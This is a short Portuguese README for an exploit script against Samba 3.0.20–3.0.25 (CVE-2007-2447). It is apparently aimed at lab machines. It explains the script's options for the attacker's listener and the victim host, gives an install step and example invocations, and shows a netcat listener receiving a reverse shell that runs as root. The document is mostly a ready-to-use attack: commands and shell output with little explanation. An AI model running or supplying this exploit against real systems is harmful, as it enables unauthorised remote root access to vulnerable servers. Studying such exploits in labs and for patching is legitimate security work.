Este exploit ajuda você a obter um reverse shell, explorando o Samba 3.0.20 < 3.0.25

· Ao executar o script com python3 com o parâmetro --help, ele nos pede uma série de parâmetros

 --lhost LHOST  seu host   (ip onde o shell será recebido)
 --lport LPORT  sua porta   (porta onde o shell será recebido)
 --rhost RHOST  host remoto  (ip da máquina vítima)
 --rport RPORT  porta remota  (porta da máquina vítima)

· Antes de executar o script, faça isto

pip3 install pysmb

· Exemplo

python3 samba_usermap.py --lhost 10.10.14.12 --lport 443 --rhost 10.10.10.3 --rport 139

· Ou você pode fazer

python3 samba_usermap.py --lh 10.10.14.12 --lp 443 --rh 10.10.10.3 --rp 139

· Exemplo de como o script funciona

python3 samba_usermap.py --lhost 10.10.14.12 --lport 443 --rhost 10.10.10.3 --rport 139

· Recebemos o shell

❯ nc -nlvp 443
  listening on [any] 443 ...
  connect to [10.10.14.12] from (UNKNOWN) [10.10.10.3] 57498
  whoami
  root

CVE-2007-2447-RCE

Mais Populares